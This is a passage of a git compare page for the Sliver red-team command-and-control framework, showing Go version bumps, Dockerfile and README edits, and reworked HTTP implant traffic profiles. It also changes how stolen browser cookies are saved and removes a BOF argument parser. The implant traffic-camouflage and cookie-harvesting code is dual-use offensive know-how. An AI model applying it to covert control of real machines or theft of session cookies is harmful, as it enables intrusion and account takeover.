Compare commits

..
Author SHA1 Message Date
moloch-- 875e67b753 Fix Dockerfile case 2024-08-23 10:14:37 -07:00
moloch-- a8e807d284 Go 1.23.0 2024-08-23 10:05:39 -07:00
440 changed files with 22726 additions and 41092 deletions

No files matched your search

+4 -4
View File
@@ -11,10 +11,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.21
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.23"
- name: OS Packages
run: |
@@ -42,10 +42,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.22
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "^1.22"
go-version: "^1.23"
- name: Check Out Code
uses: actions/checkout@v4
+2 -2
View File
@@ -16,10 +16,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.22
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "^1.22"
go-version: "^1.23"
- name: Checkout repository
uses: actions/checkout@v4
+6 -9
View File
@@ -23,10 +23,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.22
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "^1.22"
go-version: "^1.23"
- name: OS Packages
run: |
@@ -56,13 +56,10 @@ jobs:
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.22
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "^1.22"
- name: Mingw
run: brew install mingw-w64
go-version: "^1.23"
- name: Check Out Code
uses: actions/checkout@v4
@@ -84,10 +81,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.22
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "^1.22"
go-version: "^1.23"
- name: Check Out Code
uses: actions/checkout@v4
+3 -3
View File
@@ -9,7 +9,7 @@
# STAGE: base
## Compiles Sliver for use
FROM golang:1.23.5 AS base
FROM golang:1.23.0 AS base
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
@@ -29,7 +29,7 @@ RUN cp -vv sliver-server /opt/sliver-server
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM base AS test
FROM base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
@@ -91,7 +91,7 @@ ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
FROM debian:bookworm-slim AS production-slim
FROM debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
+2 -2
View File
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
# v1.6.0 / `master`
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
@@ -47,7 +47,7 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6).
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
+25 -12
View File
@@ -35,7 +35,7 @@ type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Method string `json:"method"`
Methods []string
}
// HTTPC2ImplantConfig - Implant configuration options
@@ -57,17 +57,30 @@ type HTTPC2ImplantConfig struct {
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
NonceQueryLength int `json:"nonce_query_length"`
NonceMode string `json:"nonce_mode"`
MaxFileGen int `json:"max_files"`
MinFileGen int `json:"min_files"`
MaxPathGen int `json:"max_paths"`
MinPathGen int `json:"min_paths"`
MaxPathLength int `json:"max_path_length"`
MinPathLength int `json:"min_path_length"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
Extensions []string `json:"extensions"`
Files []string `json:"files"`
Paths []string `json:"paths"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
+295 -102
View File
@@ -23,6 +23,7 @@ import (
"encoding/json"
"fmt"
"io"
"math/rand"
"net/url"
"os"
"path"
@@ -66,6 +67,7 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
@@ -101,6 +103,29 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
@@ -176,6 +201,23 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
return
}
c2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var extensions []string
for _, c2profile := range c2Profiles.Configs {
confProfile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: c2profile.Name})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
extensions = append(extensions, confProfile.ImplantConfig.StagerFileExtension)
extensions = append(extensions, confProfile.ImplantConfig.StartSessionFileExtension)
}
config, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -201,7 +243,7 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
}
urls := strings.Split(string(fileContent), "\n")
jsonProfile, err := updateC2Profile(config, urls)
jsonProfile, err := updateC2Profile(extensions, config, urls)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -222,26 +264,26 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
}
con.Println("C2 profile generated and saved as ", profileName)
} else {
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
PrintC2Profiles(profile, con)
}
}
// convert protobuf to json
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
implantConfig := assets.HTTPC2ImplantConfig{
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
NonceMode: profile.ImplantConfig.NonceMode,
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
MinFileGen: int(profile.ImplantConfig.MinFileGen),
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
MinPathGen: int(profile.ImplantConfig.MinFileGen),
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
MinPathLength: int(profile.ImplantConfig.MinPathLength),
Extensions: profile.ImplantConfig.Extensions,
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
MaxFiles: int(profile.ImplantConfig.MaxFiles),
MinFiles: int(profile.ImplantConfig.MinFiles),
MaxPaths: int(profile.ImplantConfig.MaxPaths),
MinPaths: int(profile.ImplantConfig.MinFiles),
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
PollFileExt: profile.ImplantConfig.PollFileExtension,
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
}
var headers []assets.NameValueProbability
@@ -250,7 +292,6 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
implantConfig.Headers = headers
@@ -266,19 +307,50 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
implantConfig.URLParameters = urlParameters
var (
files []string
paths []string
stagerFiles []string
pollFiles []string
sessionFiles []string
closeFiles []string
stagerPaths []string
pollPaths []string
sessionPaths []string
closePaths []string
)
for _, pathSegment := range profile.ImplantConfig.PathSegments {
if pathSegment.IsFile {
files = append(files, pathSegment.Value)
switch pathSegment.SegmentType {
case 0:
pollFiles = append(pollFiles, pathSegment.Value)
case 1:
sessionFiles = append(sessionFiles, pathSegment.Value)
case 2:
closeFiles = append(closeFiles, pathSegment.Value)
case 3:
stagerFiles = append(stagerFiles, pathSegment.Value)
}
} else {
paths = append(paths, pathSegment.Value)
switch pathSegment.SegmentType {
case 0:
pollPaths = append(pollPaths, pathSegment.Value)
case 1:
sessionPaths = append(sessionPaths, pathSegment.Value)
case 2:
closePaths = append(closePaths, pathSegment.Value)
case 3:
stagerPaths = append(stagerPaths, pathSegment.Value)
}
}
}
implantConfig.Files = files
implantConfig.Paths = paths
implantConfig.PollFiles = pollFiles
implantConfig.SessionFiles = sessionFiles
implantConfig.CloseFiles = closeFiles
implantConfig.StagerFiles = stagerFiles
implantConfig.PollPaths = pollPaths
implantConfig.SessionPaths = sessionPaths
implantConfig.ClosePaths = closePaths
implantConfig.StagerPaths = stagerPaths
var serverHeaders []assets.NameValueProbability
for _, header := range profile.ServerConfig.Headers {
@@ -286,7 +358,6 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
@@ -317,66 +388,101 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, file := range config.ImplantConfig.Files {
for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
Value: file,
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, path := range config.ImplantConfig.Paths {
for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
Value: path,
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, clientHeader := range config.ImplantConfig.Headers {
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{
Method: clientHeader.Method,
Name: clientHeader.Name,
Value: clientHeader.Value,
Probability: int32(clientHeader.Probability),
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, urlParameter := range config.ImplantConfig.URLParameters {
httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{
Method: urlParameter.Method,
Name: urlParameter.Name,
Value: urlParameter.Value,
Probability: int32(urlParameter.Probability),
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
NonceMode: config.ImplantConfig.NonceMode,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
MinFileGen: int32(config.ImplantConfig.MinFileGen),
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
MinPathGen: int32(config.ImplantConfig.MinPathGen),
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
MinPathLength: int32(config.ImplantConfig.MinPathLength),
Extensions: config.ImplantConfig.Extensions,
PathSegments: pathSegments,
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
}
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: serverHeader.Method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
}
serverCookies := []*clientpb.HTTPC2Cookie{}
@@ -419,7 +525,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Name)
serverHeaders = append(serverHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Server Headers",
@@ -444,7 +550,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Name)
clientHeaders = append(clientHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Client Headers",
@@ -475,65 +581,96 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Nonce query length",
profile.ImplantConfig.NonceQueryLength,
})
tw.AppendRow(table.Row{
"Nonce mode",
profile.ImplantConfig.NonceMode,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFileGen,
profile.ImplantConfig.MaxFiles,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFileGen,
profile.ImplantConfig.MinFiles,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPathGen,
profile.ImplantConfig.MaxPaths,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPathGen,
profile.ImplantConfig.MinPaths,
})
tw.AppendRow(table.Row{
"Max path length",
profile.ImplantConfig.MaxPathLength,
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
})
tw.AppendRow(table.Row{
"Min path length",
profile.ImplantConfig.MinPathLength,
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
})
tw.AppendRow(table.Row{
"File extensions",
strings.Join(profile.ImplantConfig.Extensions, ","),
"Session file extension",
profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
})
var (
paths []string
files []string
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
files = append(files, segment.Value)
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else {
paths = append(paths, segment.Value)
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
}
}
tw.AppendRow(table.Row{
"Paths",
strings.Join(paths[:], ",")[:50] + "...",
"Poll paths",
strings.Join(pollPaths[:], ","),
})
tw.AppendRow(table.Row{
"Files",
strings.Join(files[:], ",")[:50] + "...",
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
})
con.Println(tw.Render())
@@ -556,13 +693,14 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
return c2profile
}
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
// update the template with the urls
var (
paths []string
filenames []string
extensions []string
paths []string
filenames []string
extensions []string
filteredExtensions []string
)
for _, urlPath := range urls {
@@ -591,13 +729,23 @@ func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTP
slices.Sort(extensions)
extensions = slices.Compact(extensions)
for _, extension := range extensions {
if !slices.Contains(usedExtensions, extension) {
filteredExtensions = append(filteredExtensions, extension)
}
}
slices.Sort(paths)
paths = slices.Compact(paths)
slices.Sort(filenames)
filenames = slices.Compact(filenames)
// 5 is arbitrarily used as a minimum value
// 5 is arbitrarily used as a minimum value, it only has to be 5 for the extensions, the others can be lower
if len(filteredExtensions) < 5 {
return nil, fmt.Errorf("got %d unused extensions, need at least 5", len(filteredExtensions))
}
if len(paths) < 5 {
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
}
@@ -606,8 +754,53 @@ func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTP
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
}
template.ImplantConfig.Extensions = extensions
template.ImplantConfig.Paths = paths
template.ImplantConfig.Files = filenames
// shuffle extensions
for i := len(extensions) - 1; i > 0; i-- {
j := rand.Intn(i + 1)
extensions[i], extensions[j] = extensions[j], extensions[i]
}
template.ImplantConfig.PollFileExt = extensions[0]
template.ImplantConfig.StagerFileExt = extensions[1]
template.ImplantConfig.StartSessionFileExt = extensions[2]
template.ImplantConfig.SessionFileExt = extensions[3]
template.ImplantConfig.CloseFileExt = extensions[4]
// randomly distribute the paths and filenames into the different segment types
template.ImplantConfig.CloseFiles = []string{}
template.ImplantConfig.SessionFiles = []string{}
template.ImplantConfig.PollFiles = []string{}
template.ImplantConfig.StagerFiles = []string{}
template.ImplantConfig.ClosePaths = []string{}
template.ImplantConfig.SessionPaths = []string{}
template.ImplantConfig.PollPaths = []string{}
template.ImplantConfig.StagerPaths = []string{}
for _, path := range paths {
switch rand.Intn(4) {
case 0:
template.ImplantConfig.PollPaths = append(template.ImplantConfig.PollPaths, path)
case 1:
template.ImplantConfig.SessionPaths = append(template.ImplantConfig.SessionPaths, path)
case 2:
template.ImplantConfig.ClosePaths = append(template.ImplantConfig.ClosePaths, path)
case 3:
template.ImplantConfig.StagerPaths = append(template.ImplantConfig.StagerPaths, path)
}
}
for _, filename := range filenames {
switch rand.Intn(4) {
case 0:
template.ImplantConfig.PollFiles = append(template.ImplantConfig.PollFiles, filename)
case 1:
template.ImplantConfig.SessionFiles = append(template.ImplantConfig.SessionFiles, filename)
case 2:
template.ImplantConfig.CloseFiles = append(template.ImplantConfig.CloseFiles, filename)
case 3:
template.ImplantConfig.StagerFiles = append(template.ImplantConfig.StagerFiles, filename)
}
}
return template, nil
}
+10 -11
View File
@@ -21,10 +21,9 @@ package cursed
import (
"fmt"
"os"
"strings"
"time"
"encoding/json"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/spf13/cobra"
@@ -47,24 +46,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
if len(cookies) == 0 {
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
if err != nil {
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
return
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = os.WriteFile(saveFile, jsonBytes, 0o600)
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
-413
View File
@@ -1,413 +0,0 @@
package extensions
import (
"bytes"
"flag"
"fmt"
"os"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/core"
"github.com/spf13/cobra"
)
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
// and converts them to a BOF-compatible binary buffer
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
// Create a flag set and parse the arguments
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
if err != nil {
return nil, err
}
// Print debug information about parsed flags
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
// Initialize the BOF arguments buffer
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Process arguments and build the buffer
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
stringValues, wstringValues, intValues, shortValues, fileValues)
if err != nil {
return nil, err
}
// Return error if we have missing required arguments
if len(missingRequiredArgs) > 0 {
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
}
// Get the final binary buffer
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, fmt.Errorf("failed to get buffer: %v", err)
}
return parsedArgs, nil
}
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
// and parses the provided arguments
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
// Create a new FlagSet
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
// Maps to store flag value pointers
stringValues := make(map[string]*string)
intValues := make(map[string]*int)
shortValues := make(map[string]*int)
fileValues := make(map[string]*string) // Path to file data
wstringValues := make(map[string]*string)
// Define expected flags based on manifest arguments
for _, arg := range ext.Arguments {
flagName := arg.Name
flagDesc := arg.Desc
switch arg.Type {
case "string":
stringValues[flagName] = fs.String(flagName, "", flagDesc)
case "wstring":
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
case "int", "integer":
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "short":
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "file":
fileValues[flagName] = fs.String(flagName, "", flagDesc)
default:
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
}
}
// Parse the arguments
if err := fs.Parse(args); err != nil {
return nil, nil, nil, nil, nil, nil, err
}
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
}
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
// Returns a list of missing required arguments and any error encountered
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
stringValues, wstringValues map[string]*string,
intValues, shortValues map[string]*int,
fileValues map[string]*string) ([]string, error) {
missingRequiredArgs := make([]string, 0)
for _, argDef := range ext.Arguments {
var provided bool
var err error
// Process based on argument type
switch argDef.Type {
case "string":
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
case "wstring":
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
case "int", "integer":
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
case "short":
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
case "file":
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
}
if err != nil {
return nil, err
}
// If argument not provided, handle according to rules
if !provided {
if argDef.Optional {
// Try to apply default or type-appropriate zero value
err = bofApplyDefaultValue(argDef, argsBuffer)
if err != nil {
return nil, err
}
} else {
// Required argument was not provided
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
}
}
}
return missingRequiredArgs, nil
}
// bofProcessStringArg processes a string argument
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := stringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessWStringArg processes a wide string argument
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := wstringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddWString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessIntArg processes an integer argument
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := intValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddInt(uint32(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessShortArg processes a short integer argument
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := shortValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddShort(uint16(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessFileArg processes a file argument
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := fileValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
// Validate file exists and read it
data, err := os.ReadFile(*ptr)
if err != nil {
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
}
err = argsBuffer.AddData(data)
if err != nil {
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofApplyDefaultValue applies a default value based on the argument definition
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
// Try to use default value from manifest if available
if argDef.Default != nil {
switch argDef.Type {
case "string":
// Handle string default - could be string literal or numeric in JSON
defaultVal, ok := argDef.Default.(string)
if !ok {
// Try to convert from other types
